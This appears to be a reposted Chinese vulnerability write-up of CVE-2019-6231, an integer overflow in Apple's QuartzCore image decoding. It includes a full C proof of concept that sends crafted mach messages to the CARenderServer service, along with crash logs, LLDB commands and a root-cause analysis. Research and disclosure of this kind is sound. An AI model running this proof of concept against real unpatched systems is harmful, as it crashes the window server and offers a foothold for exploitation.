内容简介:CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞,具体的位置在2019年1月22日,苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3,这次更新修复了许多安全漏洞,其中就包括 CVE-2019-6231 漏洞。
CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞,具体的位置在 CA::Render::Image::decode() 函数中。
2019年1月22日,苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3,这次更新修复了许多安全漏洞,其中就包括 CVE-2019-6231 漏洞。
18年的12月14日,我曾经在 macOS Mojave 10.14.2 中发现了这个漏洞,并且在21日报告给了苹果。
然而遗憾的是,苹果回应这个问题已经在 macOS Mojave 10.14.3 beta 中被修复了,而这个版本是在12月19日发行的。
接下来,本文将对这个漏洞展开详细的分析。
漏洞概览
QuartzCore 是一个 macOS 和 iOS 用来渲染动画场景图形的框架,有时候也被成为 CoreAnimation。
QuartzCore 的渲染模式非常特别,它的图形操作都是运行再一个单独的进程中。
在 macOS 中,这个进程是 WindowServer, 在 iOS 中,这个进程是 backboard 。
QuartzCore 中有个一服务 com.apple.CARenderServer (也被称为 CARenderServer) 可以在 Safari 的沙箱中被访问, 并在 macOS 和 iOS 中都存在。
这个服务中有一个函数 CA::Render::Image::decode() ,用来为 QuartzCore 解析 Image 对象。然而,这个函数在解析 Image 对象时,存在一个整型溢出漏洞。
这个可能会导致一个恶意的应用对受限内存的访问。
以下就是 WindowServer 进程在触发漏洞时的日志。
Process: WindowServer [57329] Path: /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer Identifier: WindowServer Version: 600.00 (337.5) Code Type: X86-64 (Native) Parent Process: launchd [1] Responsible: WindowServer [57329] User ID: 88 Date/Time: 2018-12-14 16:51:08.093 -0800 OS Version: Mac OS X 10.14.2 (18C54) Report Version: 12 Anonymous UUID: 0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B Sleep/Wake UUID: 7F5E9869-8B81-4B2F-8BBC-54048DE83A26 Time Awake Since Boot: 15000 seconds Time Since Wake: 7000 seconds System Integrity Protection: disabled Crashed Thread: 2 com.apple.coreanimation.render-server Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x0000008000000018 Exception Note: EXC_CORPSE_NOTIFY Termination Signal: Segmentation fault: 11 Termination Reason: Namespace SIGNAL, Code 0xb Terminating Process: exc handler [57329] External Modification Warnings: Thread creation by external task. Debugger attached to process. VM Regions Near 0x8000000018: CoreAnimation 00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV --> STACK GUARD 0000700009f5e000-0000700009f5f000 [ 4K] ---/rwx SM=NUL stack guard for thread 6 Application Specific Information: StartTime:2018-12-14 16:28:00 GPU:IG MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00) IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0 Thread 0:: Dispatch queue: com.apple.main-thread 0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10 1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60 2 com.apple.SkyLight 0x00007fff6f2c95fc run_one_server_pass + 337 3 com.apple.SkyLight 0x00007fff6f2c9436 CGXRunOneServicesPass + 460 4 com.apple.SkyLight 0x00007fff6f2ca0bc server_loop + 96 5 com.apple.SkyLight 0x00007fff6f2ca055 SLXServer + 1149 6 WindowServer 0x000000010d30e4d0 0x10d30d000 + 5328 7 libdyld.dylib 0x00007fff761bded9 start + 1 Thread 1: 0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10 1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60 2 com.apple.CoreDisplay 0x00007fff48f09851 0x7fff48e57000 + 731217 3 com.apple.CoreDisplay 0x00007fff48f099af 0x7fff48e57000 + 731567 4 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126 5 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70 6 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13 Thread 2 Crashed:: com.apple.coreanimation.render-server 0 com.apple.CoreFoundation 0x00007fff48f45575 CFRetain + 15 1 com.apple.QuartzCore 0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87 2 com.apple.QuartzCore 0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50 3 com.apple.QuartzCore 0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104 4 com.apple.QuartzCore 0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075 5 com.apple.QuartzCore 0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131 6 com.apple.QuartzCore 0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116 7 com.apple.QuartzCore 0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199 8 com.apple.QuartzCore 0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329 9 com.apple.QuartzCore 0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748 10 com.apple.QuartzCore 0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968 11 com.apple.QuartzCore 0x00007fff53f8fb92 thread_fun(void*) + 25 12 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126 13 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70 14 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13 Thread 3:……. [truncated]
我们可以看到,这个崩溃发生在线程 com.apple.coreanimation.render-server 中, 服务 com.apple.CARenderServer 是在 /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore 中实现的, 并且通过函数 CA::Render::Server::register_name(CA::Render::Server this, const char a2) 中注册。
线程 com.apple.coreanimation.render-server 的功能是在函数 CA::Render::Server::server_thread 中实现的。
这个函数主要是用来接收并处理来自客户端的 mach message。
当这个线程接收到一个 msgh_id 为 40002 或者 40003 的 mach message 时,他会调用函数 CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage this)* 来处理接收到的命令序列。
而这个漏洞正是在函数 CA::Render::Server::ReceivedMessage::run_command_stream 中。
Proof of Concept
接下来,我将利用以下PoC来触发这个漏洞:
#include <stdio.h> #include <mach/i386/kern_return.h> #include <mach/mach_traps.h> #include <servers/bootstrap.h> #include <dirent.h> #include <sys/stat.h> #include <time.h> #include <dlfcn.h> #include <unistd.h> typedef struct quartz_register_client_s quartz_register_client_t; struct quartz_register_client_s { mach_msg_header_t header; uint32_t body; mach_msg_port_descriptor_t ports[4]; char padding[12]; }; typedef struct quartzcore_mach_msg quartzcore_mach_msg_t; struct quartzcore_mach_msg{ mach_msg_header_t header; char msg_body[712]; }; uint64_t get_filesize(const char *fn){ struct stat st; stat(fn, &st); uint64_t fsize = st.st_size; return fsize; }; int main(int argc, const char * argv[]) { mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL; task_get_bootstrap_port(mach_task_self(), &bs_port); const char *render_service_name = "com.apple.CARenderServer"; kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up"); kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p); if (kr != KERN_SUCCESS) { return -1; } printf("[*] Get service of %s successully!n", render_service_name); quartz_register_client_t msg_register; memset(&msg_register, 0, sizeof(msg_register)); msg_register.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; msg_register.header.msgh_remote_port = p; msg_register.header.msgh_local_port = mig_get_reply_port(); msg_register.header.msgh_id = 40202; // _XRegisterClient msg_register.body = 4; msg_register.ports[0].name = mach_task_self(); msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[1].name = mach_task_self(); msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[2].name = mach_task_self(); msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[3].name = mach_task_self(); msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR; kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG, sizeof(quartz_register_client_t), sizeof(quartz_register_client_t), msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { return -1 ; } mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c); uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30); printf("[*] context_port: 0x%x, conn_id: 0x%xn",context_port,conn_id); char *crash_log = "crash.data"; //size is 736. FILE *fp = fopen(crash_log, "rb"); if(fp == NULL){ printf("fopen error!n"); } uint64_t fsize = get_filesize(crash_log); void *msg_buf = malloc(fsize); memset(msg_buf, 0, fsize); fread(msg_buf, fsize, 1, fp); quartzcore_mach_msg_t qc_mach_msg = {0}; qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; qc_mach_msg.header.msgh_remote_port = context_port; qc_mach_msg.header.msgh_id = 40002; memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body)); *(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc); *(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id; kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { printf("[-] Send message failed: 0x%dn", kr); return -1 ; } return 0; }
正常的 mach message 与恶意的 mach message的不同已经在下图中的字段中标明:
从图3可以看出,我们只需要把 0x142 处的 0x00 修改为 0x80 就能够触发这个漏洞。
为了发送这个恶意的 mach message, 我们首先需要发送一个 msgh_id 为 40202的 mach message (相应的处理函数为 _XRegisterClient) 来获取每个新接入客户端的 connection id 。
获取到 connection id 之后,会把 connection id 写入相应的位置 (0x2C), 最终,利用这个修改后的 mach message 触发该漏洞。
漏洞原因溯源
在这一部分,我们将利用LLDB对这个漏洞进行动态调试,找出漏洞形成的根本原因。
需要注意的是,你需要通过 SSH 模式对 WindowServer 进程进行调试。
根据线程崩溃时的函数栈,我们可以在 CA::Render::Server::ReceivedMessage::run_command_stream 函数上设置一个条件中断。
br s -n CA::Render::Server::ReceivedMessage::run_command_stream br mod -c '*(int*)($r13+0x2c) == [conn_id]'
其中 conn_id 可以设置为PoC代码在79行打印出来的conn_id。
当命中这个断点后,我们可以查看发送的恶意 mach message。
其中 r13 寄存器指向了恶意 mach message。
(lldb) c Process 172 resuming Process 172 stopped * thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1 frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream() QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream: -> 0x7fff3fca6824 <+0>: pushq %rbp 0x7fff3fca6825 <+1>: movq %rsp, %rbp 0x7fff3fca6828 <+4>: pushq %r15 0x7fff3fca682a <+6>: pushq %r14 Target 0: (WindowServer) stopped. (lldb) re read General Purpose Registers: rax = 0x0000000000000000 rbx = 0x0000000000009c42 rcx = 0x0000000000000002 rdx = 0x000000000000c203 rdi = 0x000070000cc52ca0 rsi = 0x000000000000c203 rbp = 0x000070000cc52ef0 rsp = 0x000070000cc51c78 r8 = 0x000000000001450b r9 = 0x0000000000000000 r10 = 0x0000000000001000 r11 = 0x0000000000000202 r12 = 0x0000000000000000 r13 = 0x000070000cc51ca0 r14 = 0x00007fff8ece4b20 QuartzCore`CA::Render::Server::_callback_lock r15 = 0x00007fd93f2f5300 rip = 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream() rflags = 0x0000000000000293 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x0000000000000000 (lldb) x -c 0x2e0 0x000070000cc51ca0 0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00 ....?......./?.. 0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00 ....B........... 0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60 ..............5` 0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00 ;?'Y.?w@.?...... 0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01 .?....0.......?. 0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c ...@?0.....?.... 0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 ..?...??.,?..... 0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20 .?.....h.@..... 0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@.............. 0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20 ............... 0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02 ..?0.....?..... 0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00 .?...??.,?...... 0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22 ?.....@F@......" 0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @............... 0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32 ......@V@......2 0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00 @?`.!.....?..... 0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00 ...?...$........ 0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00 ....??. .....?.. 0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00 .-9..m.......... 0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00 ........?....... 0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80 ....?...?...?... 0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02 ?............ .. 0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00 ??0.....?....... 0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ...............? 0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 ...??.,?......?. 0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00 ....d.@......w@. 0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00 ....@V@......2@. 0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80 ............ ... 0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00 ?0.....?........ 0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 ..............?. 0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 ..??.,?......?.. 0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1 ........... ...? 0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00 ......?......... 0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01 .............?.. 0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00 .??.,?......?... 0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 .......... ..... (lldb)
函数 CA::Render::Decoder::decode_object(CA::Render::Decoder this, CA::Render::Decoder a2) 可以解码所有类型的对象数据。
内存中 0x70000cc51d6e 处的数据是一个 Layer 对象(在图4中标记为绿色)。
图5是用来解析 Layer 对象的代码
我们来看看一个 Layer 对象是如何被解析的,下图表明了一个 Layer 对象中每个域(field)的含义
对 Layer 对象进行解析的函数 CA::Render::Layer::Layer(CA::Render::Layer this, CA::Render::Decoder a2) 的实现如下:
我们可以看到,后面的数据也是一个对象。接下来,我们追踪一下后面那个对象是怎么被处理的。
图8所示,那个对象的第一个字节代表了这个对象的类型。0x16表示这个对象是一个Image对象(图9)
接下来,我们看看函数 CA::Render::Image::decode 是如何解码一个 Image 对象的。
图11 中表示了一个 Image 对象中每个域的含义。
我们可以看到,最后的8个字节(00 03 00 00 00 00 00 80)被解码成为了size_t类型,它的值就是我们设置的异常值。
在图10中,v9的值就会被解析成0x8000000000000300,然后被作为一个参数传递给CA::Render::validate_rowbytes函数。
接下来,我们仔细分析一下CA::Render::validate_rowbytes函数如何来处理这个值。
不难看出,函数CA::Render::validate_rowbytes 中的运算 a2 (_QWORD )(a3 + 8LL v4) 存在整型溢出。
根据图11所述,a2的通过函数CA::Render::Decoder::decode_int32获取,值为0x24。
所以v6的值会因为整型溢出而等于0。
整个函数的返回值为0。
而正常情况下,它的返回值应该是1。
现在回到图10中,看到因为函数 CA::Render::validate_rowbytes 返回了0, 导致程序运行到了分支 LABEL_31。
然后调用 CA::Render::Texture::decode 去解码后面的数据,图14就是函数 CA::Render::Texture::decode 的实现。
可以看到,在函数 CA::Render::Texture::decode 中,接下来会调用函数 CA::Render::Decoder::decode_colorspace 来读取 color space 数据。
首先,它会解码一个 int8 类型的整数,结果是0x01。
它接下来可以执行到 case 1 的分支。
v3 的值为 0xFE, 并且会将 v3 作为参数传给函数 CAGetColorSpace 。
函数 CAGetColorSpace 的实现如下:
在函数 CAGetColorSpace 中,由于a1为 0xFE,因此对 colorspaces 数组取值的索引为 0xFE,超过了 colarspaces 数组的最大索引,因此实现了对受限内存的访问。
如图18所示,对受限内存的访问地址为0x291EE0(0x2916F0+0xFE*8)。
因此,函数 CAGetColorSpace 的返回值为0x8000000010。
很明显,这是一个非法的内存地址。
当这个地址被作为参数传递给函数 CFRetain ,它会抛出一个 EXC_BAD_ACCESS 的异常。
总结
现在,我们已经深入分析了 CVE-2019-6231 漏洞。
尽管这个漏洞影响了 macOS 和 iOS,然而在这个博客中,我们只是深入分析了它在 macOS 上的行为。
受影响的版本
macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.2
iPhone 5s 或更高版本, iPad Air 或更高版本, and iPod touch 6
参考文献
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 由Typecho 深入理解PHP反序列化漏洞
- 深入分析Windows系统DHCP漏洞(CVE-2019-0726)
- 对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- Apache Tomcat从文件包含到RCE漏洞原理深入分析
- 利用逆向分析与模糊测试技术深入考察Windows图形库漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Redis 深度历险:核心原理与应用实践
钱文品 / 电子工业出版社 / 2019-1 / 79
Redis 是互联网技术架构在存储系统中使用得最为广泛的中间件,也是中高级后端工程师技术面试中面试官最喜欢问的工程技能之一,特别是那些优秀的互联网公司,通常要求面试者不仅仅掌握 Redis 基础用法,还要理解 Redis 内部实现的细节原理。《Redis 深度历险:核心原理与应用实践》作者老钱在使用 Redis 上积累了丰富的实战经验,希望帮助更多后端开发者更快、更深入地掌握 Redis 技能。 ......一起来看看 《Redis 深度历险:核心原理与应用实践》 这本书的介绍吧!